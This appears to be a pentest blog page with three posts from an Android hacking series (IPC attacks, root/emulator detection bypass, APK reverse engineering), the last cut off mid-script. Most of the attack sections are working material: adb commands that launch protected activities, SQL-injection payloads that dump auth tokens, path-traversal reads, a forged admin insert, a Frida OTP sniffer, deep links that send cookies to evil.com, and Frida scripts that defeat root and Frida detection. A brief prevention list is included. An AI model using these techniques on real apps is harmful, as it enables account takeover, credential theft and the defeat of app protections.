marginaldeer's blog

Attacking Android IPC: Intents, Content Providers, and Broadcast Receivers

Mon, 02 Mar 2026 20:00:00 +0000

This is part seven of my Android pentest series. Last week we covered bypassing root and emulator detection. Now let’s look at one of Android’s biggest attack surfaces that most testers overlook — inter-process communication.

Android apps don’t exist in isolation. They talk to each other through IPC mechanisms: Intents, Content Providers, Broadcast Receivers, and bound Services. When developers expose these components without proper access controls, we can exploit them to steal data, trigger privileged actions, or chain into full compromise.

I find IPC bugs on almost every Android assessment. They’re everywhere because developers don’t realize the implications of android:exported="true".

Understanding the Attack Surface

The AndroidManifest.xml declares all of an app’s components. Any component with android:exported="true" or an <intent-filter> is accessible to other apps — including ours.

Start by pulling the manifest from a decompiled APK:

apktool d target.apk -o target/
cat target/AndroidManifest.xml

Look for:

<!-- Exported activity - anyone can launch this -->
<activity android:name=".admin.AdminPanel" android:exported="true" />

<!-- Intent filter makes it implicitly exported -->
<activity android:name=".DeepLinkActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <data android:scheme="myapp" android:host="action" />
    </intent-filter>
</activity>

<!-- Exported content provider - data access -->
<provider
    android:name=".data.UserProvider"
    android:authorities="com.target.provider"
    android:exported="true" />

<!-- Exported broadcast receiver -->
<receiver android:name=".AdminReceiver" android:exported="true">
    <intent-filter>
        <action android:name="com.target.ADMIN_ACTION" />
    </intent-filter>
</receiver>

Quick Enumeration with drozer

If you have drozer set up (you should), it makes enumeration fast:

# List attack surface
dz> run app.package.attacksurface com.target.app

# List exported activities
dz> run app.activity.info -a com.target.app

# List exported content providers
dz> run app.provider.info -a com.target.app

# List exported broadcast receivers
dz> run app.broadcast.info -a com.target.app

# List exported services
dz> run app.service.info -a com.target.app

Attacking Exported Activities

Exported activities are the most straightforward. If an admin panel, settings page, or debug activity is exported, we can launch it directly — bypassing any authentication flow.

Launching Activities with ADB

# Launch a specific activity
adb shell am start -n com.target.app/.admin.AdminPanel

# Launch with extras (passing data)
adb shell am start -n com.target.app/.TransferActivity \
  --es "account" "attacker-account" \
  --ei "amount" 10000

# Launch with a data URI
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "myapp://action/delete?id=1"

Real-World Example: Auth Bypass

On a recent engagement the app had a ProfileActivity that displayed user data and was only supposed to be accessible after login. But it was exported:

<activity android:name=".ui.ProfileActivity" android:exported="true" />

Launching it directly skipped the entire authentication flow:

adb shell am start -n com.target.app/.ui.ProfileActivity

Suddenly I’m looking at the last logged-in user’s profile data without any credentials. To take this further, I checked what extras the activity expected by decompiling it:

// From the decompiled ProfileActivity
String userId = getIntent().getStringExtra("user_id");
if (userId == null) {
    userId = getCurrentUserId();  // Falls back to cached user
}
loadProfile(userId);

So we can also pass arbitrary user IDs:

adb shell am start -n com.target.app/.ui.ProfileActivity \
  --es "user_id" "admin"

IDOR through an exported activity. Combined with no server-side authorization check on the profile API, this was straight-up access to any user’s data.

Attacking Deep Links

Deep links are a special case of exported activities. Apps register URL schemes that let websites or other apps open specific screens. These are often poorly validated.

Finding Deep Links

# From the manifest
grep -A5 "intent-filter" target/AndroidManifest.xml | grep -E "scheme|host|path"

# Or use adb
adb shell dumpsys package com.target.app | grep -A5 "intent-filter"

Exploiting Deep Links

# Basic deep link
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://settings/reset-password?token=test"

# Web deep link (App Links)
adb shell am start -a android.intent.action.VIEW \
  -d "https://target.com/app/transfer?to=attacker&amount=1000"

Common deep link vulnerabilities:

Open redirect — myapp://navigate?url=https://evil.com
JavaScript injection in WebViews — myapp://webview?url=javascript:alert(document.cookie)
Parameter injection — Deep link parameters passed directly to API calls without validation

WebView Deep Link Attack

If a deep link opens a WebView, test for JavaScript execution:

# XSS via deep link
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://web?url=https://evil.com/steal.html"

# JavaScript scheme
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://web?url=javascript:document.location='https://evil.com/?c='%2Bdocument.cookie"

This is devastating when the WebView has setJavaScriptEnabled(true) and loads the URL from the intent parameter without validation. If the WebView also has a JavaScript interface (addJavascriptInterface), you might get code execution.

Attacking Content Providers

Content Providers expose structured data through a URI-based interface. When exported, they’re basically an unauthenticated database API.

Querying Providers

# Query all records
adb shell content query --uri content://com.target.provider/users

# Query with projection (specific columns)
adb shell content query --uri content://com.target.provider/users \
  --projection "username:password:email"

# Query with selection (WHERE clause)
adb shell content query --uri content://com.target.provider/users \
  --where "role='admin'"

SQL Injection in Content Providers

Content Providers that use raw SQL queries are vulnerable to injection through the selection parameter:

# Test for SQL injection
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) OR 1=1--"

# Extract table names
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) UNION SELECT name,sql,null FROM sqlite_master--"

# Dump another table
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) UNION SELECT token,refresh_token,null FROM auth_tokens--"

With drozer:

# Enumerate URIs
dz> run scanner.provider.finduris -a com.target.app

# Test for SQL injection
dz> run scanner.provider.injection -a com.target.app

# Query with injection
dz> run app.provider.query content://com.target.provider/users \
  --selection "1=1) UNION SELECT sql,null FROM sqlite_master--"

Path Traversal in File Providers

Some Content Providers serve files. If they don’t validate the path, we can read arbitrary files:

# Normal file access
adb shell content read --uri content://com.target.fileprovider/files/document.pdf

# Path traversal
adb shell content read --uri content://com.target.fileprovider/files/..%2F..%2F..%2Fdata%2Fdata%2Fcom.target.app%2Fshared_prefs%2Fauth.xml

With Frida:

Java.perform(function() {
    var Uri = Java.use("android.net.Uri");
    var cr = Java.use("android.app.ActivityThread").currentApplication()
        .getContentResolver();
    
    var uri = Uri.parse("content://com.target.fileprovider/files/../../../../etc/hosts");
    var stream = cr.openInputStream(uri);
    
    // Read the stream
    var BufferedReader = Java.use("java.io.BufferedReader");
    var InputStreamReader = Java.use("java.io.InputStreamReader");
    var reader = BufferedReader.$new(InputStreamReader.$new(stream));
    
    var line;
    while ((line = reader.readLine()) !== null) {
        console.log(line);
    }
});

Insert and Update Operations

If the provider allows writes, you can modify the app’s data:

# Insert a record
adb shell content insert --uri content://com.target.provider/users \
  --bind username:s:admin2 \
  --bind password:s:hacked \
  --bind role:s:admin

# Update a record
adb shell content update --uri content://com.target.provider/users \
  --bind role:s:admin \
  --where "username='attacker'"

Creating an admin account through an exported Content Provider. I’ve seen this in production.

Attacking Broadcast Receivers

Broadcast Receivers listen for system or app events. Exported receivers can be triggered by any app, which leads to interesting attacks.

Sending Broadcasts

# Send a broadcast
adb shell am broadcast -a com.target.ADMIN_ACTION \
  -n com.target.app/.AdminReceiver

# With extras
adb shell am broadcast -a com.target.RESET_PASSWORD \
  --es "email" "attacker@evil.com" \
  --es "user_id" "victim"

# Ordered broadcast (with priority)
adb shell am broadcast -a com.target.PAYMENT_COMPLETE \
  --ei "amount" 0 \
  --es "status" "success"

Broadcast Sniffing

Java.perform(function() {
    var IntentFilter = Java.use("android.content.IntentFilter");
    var BroadcastReceiver = Java.use("android.content.BroadcastReceiver");
    var Context = Java.use("android.content.Context");
    
    var filter = IntentFilter.$new();
    filter.addAction("com.target.OTP_RECEIVED");
    filter.addAction("com.target.AUTH_TOKEN");
    filter.setPriority(999);
    
    var receiver = Java.registerClass({
        name: "com.attacker.Sniffer",
        superClass: BroadcastReceiver,
        methods: {
            onReceive: function(context, intent) {
                console.log("[!] Intercepted broadcast:");
                console.log("    Action: " + intent.getAction());
                var extras = intent.getExtras();
                if (extras) {
                    var keys = extras.keySet().iterator();
                    while (keys.hasNext()) {
                        var key = keys.next();
                        console.log("    " + key + " = " + extras.get(key));
                    }
                }
            }
        }
    });
    
    var app = Java.use("android.app.ActivityThread").currentApplication();
    app.registerReceiver(receiver.$new(), filter);
    console.log("[*] Broadcast sniffer registered");
});

Real-World Example: OTP Hijacking

App sends a broadcast with the OTP for display in a notification. No permission protection:

<receiver android:name=".OTPDisplayReceiver" android:exported="true">
    <intent-filter>
        <action android:name="com.target.NEW_OTP" />
    </intent-filter>
</receiver>

Any app on the device can register a higher-priority receiver for com.target.NEW_OTP and grab the OTP before the legitimate receiver sees it. On Android < 14 this works with ordered broadcasts. Combined with an exported activity that triggers the OTP send, you have a complete authentication bypass.

Attacking Bound Services

Services that accept bindings from other apps can receive arbitrary messages:

# Start a service
adb shell am startservice -n com.target.app/.SyncService \
  --es "action" "sync_all" \
  --es "dest" "https://evil.com/exfil"

For more complex service interactions (Messenger or AIDL), you’ll need to write a small app or use Frida to bind to the service:

Java.perform(function() {
    var Intent = Java.use("android.content.Intent");
    var ComponentName = Java.use("android.content.ComponentName");
    
    var intent = Intent.$new();
    intent.setComponent(ComponentName.$new("com.target.app", "com.target.app.ExportedService"));
    
    var app = Java.use("android.app.ActivityThread").currentApplication();
    app.startService(intent);
    console.log("[*] Service triggered");
});

Chaining IPC Attacks

The real power of IPC attacks comes from chaining them. Here’s a chain I used on an engagement:

Exported Activity with deep link accepted a URL parameter
WebView loaded the URL with JavaScript enabled and addJavascriptInterface
JavaScript bridge had a method that wrote to a Content Provider
Content Provider had no write validation
Modified the auth token stored in the provider’s database

The chain: Malicious link → Deep link → WebView → JS bridge → Content Provider write → Account takeover.

Each component in isolation might look low-risk. Chained together, it’s a critical finding.

Automation Script

I use this bash script to quickly enumerate the IPC attack surface:

#!/bin/bash
PKG=$1

if [ -z "$PKG" ]; then
    echo "Usage: $0 <package_name>"
    exit 1
fi

echo "=== IPC Attack Surface for $PKG ==="
echo ""

echo "--- Exported Activities ---"
adb shell dumpsys package $PKG | grep -A1 "Activity " | grep -E "exported=true"
echo ""

echo "--- Deep Links ---"
adb shell dumpsys package $PKG | grep -B1 -A10 "intent-filter" | grep -E "scheme|host|path|Action"
echo ""

echo "--- Content Providers ---"
adb shell dumpsys package $PKG | grep -A3 "Provider " | grep -E "authority|exported"
echo ""

echo "--- Broadcast Receivers ---"
adb shell dumpsys package $PKG | grep -A2 "Receiver " | grep -E "exported=true"
echo ""

echo "--- Services ---"
adb shell dumpsys package $PKG | grep -A2 "Service " | grep -E "exported=true"
echo ""

echo "--- Permissions ---"
adb shell dumpsys package $PKG | grep "permission:" | head -20

Prevention (What to Tell Developers)

When you’re writing up these findings:

Don’t export components unnecessarily. Set android:exported="false" unless the component truly needs external access.
Use custom permissions for components that must be exported: android:permission="com.target.ADMIN_PERMISSION"
Validate all Intent extras. Never trust data from incoming Intents.
Use signature-level permissions for IPC between your own apps.
Content Providers should use parameterized queries. No raw SQL with user input.
File Providers must validate paths. Canonicalize and check that the resolved path is within allowed directories.
Use LocalBroadcastManager (or LiveData) for internal broadcasts. Don’t send sensitive data via global broadcasts.

Root/Emulator Detection Bypass — Get past the front door
Frida Method Hooking — Runtime analysis fundamentals
APK Reverse Engineering — Finding IPC components in decompiled code
APK Analysis Cheat Sheet — Quick reference for static analysis

Bypassing Root Detection and Emulator Checks on Android

Mon, 23 Feb 2026 20:00:00 +0000

This is part six of my Android pentest series. We’ve covered the lab, SSL pinning, method hooking, native hooking, and APK reverse engineering. Now let’s deal with the thing that stops most of those techniques from working in the first place — root detection and emulator checks.

Almost every app I assess on mobile engagements has some form of environment detection. Banking apps, healthcare apps, anything handling sensitive data. The app launches, detects you’re on a rooted device or emulator, and either exits or degrades functionality. This is annoying when you need to actually test the app.

Let’s break all of it.

How Root Detection Works

Root detection isn’t one technique — it’s a pile of heuristics. Apps check multiple indicators and combine the results. Here’s what they typically look for.

File-Based Checks

The most common approach. Apps look for files that exist on rooted devices:

// Typical root detection code you'll find when decompiling
private boolean isRooted() {
    String[] paths = {
        "/system/app/Superuser.apk",
        "/system/xbin/su",
        "/system/bin/su",
        "/sbin/su",
        "/data/local/xbin/su",
        "/data/local/bin/su",
        "/data/local/su",
        "/su/bin/su",
        "/system/bin/.ext/.su",
        "/system/etc/.has_su_daemon",
        "/system/etc/.installed_su_daemon"
    };
    
    for (String path : paths) {
        if (new File(path).exists()) return true;
    }
    return false;
}

Package-Based Checks

Apps query the package manager for known root management apps:

private boolean hasRootPackages() {
    String[] packages = {
        "com.topjohnwu.magisk",
        "eu.chainfire.supersu",
        "com.koushikdutta.superuser",
        "com.thirdparty.superuser",
        "com.yellowes.su",
        "com.noshufou.android.su"
    };
    
    PackageManager pm = getPackageManager();
    for (String pkg : packages) {
        try {
            pm.getPackageInfo(pkg, 0);
            return true;
        } catch (NameNotFoundException e) {}
    }
    return false;
}

Command Execution

Some apps try to actually run su:

private boolean canRunSu() {
    try {
        Runtime.getRuntime().exec("su");
        return true;
    } catch (Exception e) {
        return false;
    }
}

System Properties

Checking build properties for test-keys, custom ROMs, or debug builds:

private boolean hasTestKeys() {
    String buildTags = android.os.Build.TAGS;
    return buildTags != null && buildTags.contains("test-keys");
}

private boolean isDebuggable() {
    return (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0;
}

SafetyNet / Play Integrity

The nuclear option. Google’s server-side attestation checks device integrity, bootloader status, and software state. This is the hardest to bypass because the attestation happens server-side.

Emulator Detection

Apps use overlapping techniques to detect emulators:

Build Properties

private boolean isEmulator() {
    return Build.FINGERPRINT.contains("generic")
        || Build.MODEL.contains("google_sdk")
        || Build.MODEL.contains("Emulator")
        || Build.MODEL.contains("Android SDK built for x86")
        || Build.MANUFACTURER.contains("Genymotion")
        || Build.BRAND.startsWith("generic")
        || Build.DEVICE.startsWith("generic")
        || Build.HARDWARE.contains("goldfish")
        || Build.HARDWARE.contains("ranchu")
        || Build.PRODUCT.contains("sdk")
        || Build.PRODUCT.contains("vbox86p");
}

Hardware Indicators

// Sensor check - emulators have fewer/fake sensors
SensorManager sm = (SensorManager) getSystemService(SENSOR_SERVICE);
int sensorCount = sm.getSensorList(Sensor.TYPE_ALL).size();
// Real devices typically have 15+ sensors, emulators have < 5

// Telephony check
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
String phoneNumber = tm.getLine1Number();
// Emulators often return "15555215554" or similar

// Battery check - emulators report specific battery states

Timing and Performance Checks

Some sophisticated apps measure execution timing. Emulators are slower at certain operations like floating point math or file I/O, giving them away.

Bypassing Everything with Frida

Now the fun part. We have a few approaches depending on how much time you want to spend.

Quick Win: Hook the Detection Methods Directly

If you’ve decompiled the APK and found the detection methods, just override them:

Java.perform(function() {
    var rootCheck = Java.use("com.target.security.RootDetector");
    
    rootCheck.isRooted.implementation = function() {
        console.log("[*] isRooted() called - returning false");
        return false;
    };
    
    rootCheck.isEmulator.implementation = function() {
        console.log("[*] isEmulator() called - returning false");
        return false;
    };
});

This works when the detection is in one class. But most serious implementations spread checks across multiple classes or use obfuscated names.

Comprehensive: Hook the Underlying APIs

Instead of finding each detection method, hook the system APIs that all detection relies on:

File.exists() bypass:

Java.perform(function() {
    var File = Java.use("java.io.File");
    
    var blacklist = [
        "su", "Superuser.apk", "magisk", "busybox",
        ".has_su_daemon", ".installed_su_daemon"
    ];
    
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        
        for (var i = 0; i < blacklist.length; i++) {
            if (path.indexOf(blacklist[i]) !== -1) {
                console.log("[*] File.exists(" + path + ") -> false");
                return false;
            }
        }
        return this.exists();
    };
});

PackageManager bypass:

Java.perform(function() {
    var PM = Java.use("android.app.ApplicationPackageManager");
    
    var blockedPkgs = [
        "com.topjohnwu.magisk",
        "eu.chainfire.supersu",
        "com.koushikdutta.superuser",
        "com.noshufou.android.su",
        "com.thirdparty.superuser"
    ];
    
    PM.getPackageInfo.overload("java.lang.String", "int").implementation = function(pkg, flags) {
        if (blockedPkgs.indexOf(pkg) !== -1) {
            console.log("[*] Hiding package: " + pkg);
            throw Java.use("android.content.pm.PackageManager$NameNotFoundException").$new(pkg);
        }
        return this.getPackageInfo(pkg, flags);
    };
});

Build properties bypass:

Java.perform(function() {
    var Build = Java.use("android.os.Build");
    
    // Spoof to look like a real device
    Build.FINGERPRINT.value = "google/walleye/walleye:11/RP1A.200720.009/6720564:user/release-keys";
    Build.MODEL.value = "Pixel 2";
    Build.MANUFACTURER.value = "Google";
    Build.BRAND.value = "google";
    Build.DEVICE.value = "walleye";
    Build.PRODUCT.value = "walleye";
    Build.HARDWARE.value = "walleye";
    Build.TAGS.value = "release-keys";
    
    console.log("[*] Build properties spoofed to Pixel 2");
});

Runtime.exec bypass (block su execution):

Java.perform(function() {
    var Runtime = Java.use("java.lang.Runtime");
    
    Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
        if (cmd.indexOf("su") !== -1 || cmd.indexOf("which") !== -1) {
            console.log("[*] Blocked exec: " + cmd);
            throw Java.use("java.io.IOException").$new("Permission denied");
        }
        return this.exec(cmd);
    };
    
    // Also catch the String[] overload
    Runtime.exec.overload("[Ljava.lang.String;").implementation = function(cmds) {
        var cmdStr = cmds.join(" ");
        if (cmdStr.indexOf("su") !== -1) {
            console.log("[*] Blocked exec: " + cmdStr);
            throw Java.use("java.io.IOException").$new("Permission denied");
        }
        return this.exec(cmds);
    };
});

The Combined Script

In practice I use a single script that combines all these bypasses. Save this as bypass-detection.js:

Java.perform(function() {
    console.log("[*] Root/Emulator detection bypass loaded");
    
    // ===== File.exists bypass =====
    var File = Java.use("java.io.File");
    var blacklistedFiles = [
        "su", "Superuser", "magisk", "busybox", "daemonsu",
        ".has_su_daemon", ".installed_su_daemon", "supersu",
        "frida", "xposed"
    ];
    
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        for (var i = 0; i < blacklistedFiles.length; i++) {
            if (path.toLowerCase().indexOf(blacklistedFiles[i]) !== -1) {
                console.log("[*] Hiding file: " + path);
                return false;
            }
        }
        return this.exists();
    };
    
    // ===== Build property spoofing =====
    var Build = Java.use("android.os.Build");
    Build.FINGERPRINT.value = "google/walleye/walleye:11/RP1A.200720.009/6720564:user/release-keys";
    Build.MODEL.value = "Pixel 2";
    Build.MANUFACTURER.value = "Google";
    Build.BRAND.value = "google";
    Build.DEVICE.value = "walleye";
    Build.PRODUCT.value = "walleye";
    Build.HARDWARE.value = "walleye";
    Build.TAGS.value = "release-keys";
    Build.HOST.value = "wphr1.hot.corp.google.com";
    console.log("[*] Build properties spoofed");
    
    // ===== Package manager bypass =====
    var PM = Java.use("android.app.ApplicationPackageManager");
    var hiddenPkgs = [
        "com.topjohnwu.magisk", "eu.chainfire.supersu",
        "com.koushikdutta.superuser", "com.noshufou.android.su",
        "com.thirdparty.superuser", "com.yellowes.su",
        "com.zachspong.temprootremovejb", "com.ramdroid.appquarantine",
        "de.robv.android.xposed.installer", "com.saurik.substrate"
    ];
    
    PM.getPackageInfo.overload("java.lang.String", "int").implementation = function(pkg, flags) {
        if (hiddenPkgs.indexOf(pkg) !== -1) {
            console.log("[*] Hiding package: " + pkg);
            throw Java.use("android.content.pm.PackageManager$NameNotFoundException").$new(pkg);
        }
        return this.getPackageInfo(pkg, flags);
    };
    
    // ===== Runtime.exec bypass =====
    var Runtime = Java.use("java.lang.Runtime");
    var blockedCmds = ["su", "which su", "busybox", "magisk"];
    
    Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
        for (var i = 0; i < blockedCmds.length; i++) {
            if (cmd.indexOf(blockedCmds[i]) !== -1) {
                console.log("[*] Blocked exec: " + cmd);
                throw Java.use("java.io.IOException").$new("Permission denied");
            }
        }
        return this.exec(cmd);
    };
    
    // ===== System.getProperty bypass =====
    var System = Java.use("java.lang.System");
    System.getProperty.overload("java.lang.String").implementation = function(key) {
        if (key === "ro.debuggable" || key === "ro.secure") {
            console.log("[*] Spoofed property: " + key);
            return key === "ro.secure" ? "1" : "0";
        }
        return this.getProperty(key);
    };
    
    console.log("[*] All bypasses active");
});

Run it:

frida -U -f com.target.app -l bypass-detection.js --no-pause

Dealing with Commercial Frameworks

When you run into apps that use commercial protection SDKs, the generic bypass above might not cut it. Here’s what to look for.

RootBeer

Popular open-source root detection library. Easy to spot because the package name is com.scottyab.rootbeer.

Java.perform(function() {
    var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
    
    RootBeer.isRooted.implementation = function() { return false; };
    RootBeer.isRootedWithBusyBoxCheck.implementation = function() { return false; };
    RootBeer.detectRootManagementApps.implementation = function() { return false; };
    RootBeer.detectPotentiallyDangerousApps.implementation = function() { return false; };
    RootBeer.detectTestKeys.implementation = function() { return false; };
    RootBeer.checkForBusyBoxBinary.implementation = function() { return false; };
    RootBeer.checkForSuBinary.implementation = function() { return false; };
    RootBeer.checkSuExists.implementation = function() { return false; };
    RootBeer.checkForRWPaths.implementation = function() { return false; };
    RootBeer.checkForDangerousProps.implementation = function() { return false; };
    RootBeer.checkForRootNative.implementation = function() { return false; };
    RootBeer.detectRootCloakingApps.implementation = function() { return false; };
    RootBeer.isSelinuxFlagInEnabled.implementation = function() { return false; };
    RootBeer.checkForMagiskBinary.implementation = function() { return false; };
    
    console.log("[*] RootBeer fully bypassed");
});

ProGuard/R8 Obfuscated Detection

When root detection is obfuscated, you won’t find obvious class names. The approach changes:

Search for string constants — Decompile with jadx and grep for "/system/xbin/su" or "test-keys". Even with obfuscated method names, the strings are usually still there.
Trace File.exists — Run the comprehensive File.exists hook and watch what paths get checked at startup. The detection code will reveal itself.
Hook at the decision point — Find where the app shows the “rooted device detected” dialog or calls finish(). Hook that and prevent it.

// Find the kill switch
Java.perform(function() {
    var Activity = Java.use("android.app.Activity");
    
    Activity.finish.implementation = function() {
        console.log("[!] finish() blocked on: " + this.getClass().getName());
        console.log(Java.use("android.util.Log").getStackTraceString(
            Java.use("java.lang.Exception").$new()
        ));
        // Don't call finish - keep the app alive
    };
});

The stack trace will show you exactly which class triggered the kill, even if it’s obfuscated.

Frida Detection

Some apps detect Frida itself. Common methods:

Scanning /proc/self/maps for frida libraries
Checking for frida-server on default port (27042)
Looking for frida-agent in memory
Checking for the frida thread name

Bypass Frida detection:

// Hide frida from /proc/self/maps
var openPtr = Module.findExportByName("libc.so", "open");
var readPtr = Module.findExportByName("libc.so", "read");

Interceptor.attach(openPtr, {
    onEnter: function(args) {
        this.path = Memory.readUtf8String(args[0]);
        this.isMaps = this.path && this.path.indexOf("/proc/") !== -1 
                      && this.path.indexOf("/maps") !== -1;
    },
    onLeave: function(retval) {}
});

// Change frida-server default port
// Start frida-server on a non-default port:
// ./frida-server -l 0.0.0.0:1337
// Then connect: frida -H 127.0.0.1:1337 -f com.target.app

For stubborn anti-Frida checks, start frida-server with a renamed binary:

# On the device
cp frida-server /data/local/tmp/myserver
chmod 755 /data/local/tmp/myserver
/data/local/tmp/myserver &

MagiskHide and Shamiko

If you’re on a real rooted device (not an emulator), Magisk’s built-in hide features handle a lot of this automatically.

Zygisk + DenyList (Magisk 24+):

Enable Zygisk in Magisk settings
Configure the DenyList with the target app
The app won’t see root

Shamiko (Magisk module):

Mounts over root-indicating files
Hides Magisk itself from detection
Works alongside Zygisk DenyList

For most assessments I use Magisk + Shamiko as the baseline and layer Frida hooks on top for anything that gets through.

Practical Workflow

Here’s how I approach root/emulator detection on a real engagement:

Install the app and launch it — See what happens. Does it crash? Show a warning? Silently degrade?
Decompile and search — grep -r "isRooted\|rootbeer\|safetynet\|isEmulator" jadx-output/ to find the detection logic.
Try the generic bypass script — Run bypass-detection.js. This handles ~70% of apps.
If that fails, trace the APIs — Hook File.exists, Runtime.exec, PackageManager.getPackageInfo and log everything at startup. You’ll see exactly what the app checks.
Hook the decision point — Find where the app acts on the detection result and neutralize it there.
For SafetyNet/Play Integrity — Use a real rooted device with Magisk + Shamiko. Emulators can’t pass hardware attestation.

Most apps fall to step 3 or 4. The rest require targeted hooking but the techniques above give you everything you need to find the right hooks.

Frida Method Hooking — Fundamentals of hooking Java methods
Native Hooking with Frida — For when detection logic is in native code
APK Reverse Engineering — Finding the detection code in the first place
Frida Cheat Sheet — Quick reference for all the Frida commands

From APK to Source: Complete Android Reverse Engineering Workflow

Sat, 13 Dec 2025 12:00:00 +0000

This post covers my end-to-end workflow for reverse engineering Android applications. When you’re pentesting a mobile app, static analysis of the decompiled source often reveals more than dynamic testing alone — hardcoded API keys, authentication logic, hidden endpoints, and vulnerable code patterns.

I covered Java decompilation with CFR in a previous post. This is the Android-specific workflow that gets you from an APK file to readable Java source code.

The Toolchain

You’ll need a few tools. Here’s what I use:

apktool — Decodes APK resources and disassembles DEX to smali
dex2jar — Converts DEX bytecode to Java class files
CFR — Decompiles class files to Java source
jadx — All-in-one alternative (DEX straight to Java)
unzip — APKs are just ZIP files

Install these on Kali/Debian:

sudo apt install apktool dex2jar unzip
wget https://www.benf.org/other/cfr/cfr-0.152.jar

For jadx, grab a release from GitHub:

wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip -d jadx

Getting the APK

If you have the app installed on a device or emulator, pull the APK with adb:

# Find the package name
adb shell pm list packages | grep -i appname

# Get the APK path
adb shell pm path com.example.app
# Output: package:/data/app/com.example.app-1/base.apk

# Pull it
adb pull /data/app/com.example.app-1/base.apk target.apk

For split APKs (common on newer Android versions):

adb shell pm path com.example.app
# package:/data/app/com.example.app-1/base.apk
# package:/data/app/com.example.app-1/split_config.arm64_v8a.apk
# package:/data/app/com.example.app-1/split_config.en.apk

# Pull all of them
adb pull /data/app/com.example.app-1/ ./app_splits/

Understanding APK Structure

Before diving in, it helps to understand what’s inside an APK:

target.apk
├── AndroidManifest.xml      <- App config, permissions, components (binary XML)
├── classes.dex              <- Compiled Dalvik bytecode
├── classes2.dex             <- Additional DEX (multidex apps)
├── resources.arsc           <- Compiled resources
├── res/                     <- Resource files (layouts, drawables, etc.)
├── assets/                  <- Raw assets (often interesting files here)
├── lib/                     <- Native libraries (.so files)
│   ├── arm64-v8a/
│   ├── armeabi-v7a/
│   └── x86_64/
└── META-INF/                <- Signing info

The code lives in classes.dex. That’s what we need to decompile.

Method 1: The Quick Way (jadx)

If you just want to see the source fast, jadx does everything in one shot:

jadx -d output_dir target.apk

This produces:

output_dir/
├── resources/
│   ├── AndroidManifest.xml    <- Decoded, readable XML
│   └── res/                   <- Decoded resources
└── sources/
    └── com/
        └── example/
            └── app/           <- Decompiled Java source

jadx handles DEX-to-Java directly without intermediate steps. The output is usually good enough for analysis. I use this when I need quick results.

For a GUI with search and cross-references:

jadx-gui target.apk

Method 2: The Detailed Way (apktool + dex2jar + CFR)

Sometimes jadx struggles with obfuscated apps or you need more control over the process. The traditional toolchain gives you more options.

Step 1: Decode with apktool

apktool d target.apk -o apktool_output

This gives you:

apktool_output/
├── AndroidManifest.xml    <- Decoded, readable XML
├── apktool.yml            <- apktool metadata
├── original/              <- Original META-INF
├── res/                   <- Decoded resources
├── smali/                 <- Disassembled DEX (smali code)
└── smali_classes2/        <- Additional DEX files

The smali output is useful for:

Patching the app (modify smali, rebuild with apktool b)
Understanding obfuscated code flow
Finding strings that don’t decompile well

Step 2: Convert DEX to JAR

Extract the DEX files and convert them:

# Extract DEX files from APK
unzip -j target.apk "*.dex" -d dex_files/

# Convert each DEX to JAR
d2j-dex2jar dex_files/classes.dex -o classes.jar
d2j-dex2jar dex_files/classes2.dex -o classes2.jar

Step 3: Decompile with CFR

Now use CFR to get Java source:

java -jar cfr-0.152.jar classes.jar --outputdir ./decompiled
java -jar cfr-0.152.jar classes2.jar --outputdir ./decompiled

This gives you a clean directory structure matching the package hierarchy.

Dealing with Obfuscation

Most production apps use ProGuard or R8 for obfuscation. You’ll see:

Classes renamed to a.class, b.class, etc.
Methods named a(), b(), c()
Meaningless package names like com.a.b.c

Here’s how to work with it:

1. Find Entry Points

Start with the AndroidManifest.xml. Activities, Services, and Receivers are listed with their full class names. These are your entry points:

<activity android:name="com.example.app.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
    </intent-filter>
</activity>
<service android:name="com.example.app.sync.SyncService"/>
<receiver android:name="com.example.app.PushReceiver"/>

Even if the code is obfuscated, these class names are preserved.

2. Search for Strings

Grep for interesting strings in the decompiled source:

# API endpoints
grep -r "https://" decompiled/ | grep -v ".png\|.jpg"

# Hardcoded keys
grep -rE "(api[_-]?key|secret|token|password)" decompiled/

# Crypto operations
grep -rE "(AES|RSA|DES|encrypt|decrypt)" decompiled/

# SQL queries
grep -r "SELECT\|INSERT\|UPDATE" decompiled/

# SharedPreferences (local storage)
grep -r "getSharedPreferences\|putString\|getString" decompiled/

3. Trace from Known Code

Find unobfuscated library code and trace into the app code. For example, Retrofit API definitions often reveal endpoint structures:

public interface ApiService {
    @POST("api/v1/login")
    Call<LoginResponse> login(@Body LoginRequest request);
    
    @GET("api/v1/user/{id}")
    Call<User> getUser(@Path("id") String userId);
}

Extracting Native Libraries

Some apps put sensitive logic in native code. The .so files are in lib/:

unzip -j target.apk "lib/*" -d native_libs/

For basic analysis:

# List exported functions
nm -D native_libs/arm64-v8a/libnative.so

# Search for strings
strings native_libs/arm64-v8a/libnative.so | grep -i key

# Disassemble with objdump
objdump -d native_libs/arm64-v8a/libnative.so > disasm.txt

For serious native reversing, load them into Ghidra or IDA.

Automation Script

Here’s a script that does the full workflow:

#!/bin/bash
# apk_decompile.sh - Full APK decompilation workflow

APK=$1
OUTPUT=${2:-"decompiled_$(basename $APK .apk)"}

if [ -z "$APK" ]; then
    echo "Usage: $0 <apk_file> [output_dir]"
    exit 1
fi

mkdir -p "$OUTPUT"

echo "[*] Running apktool..."
apktool d "$APK" -o "$OUTPUT/apktool" -f

echo "[*] Extracting DEX files..."
unzip -jo "$APK" "*.dex" -d "$OUTPUT/dex"

echo "[*] Converting DEX to JAR..."
for dex in "$OUTPUT/dex/"*.dex; do
    jar_name=$(basename "$dex" .dex).jar
    d2j-dex2jar "$dex" -o "$OUTPUT/jar/$jar_name" 2>/dev/null
done

echo "[*] Decompiling with CFR..."
for jar in "$OUTPUT/jar/"*.jar; do
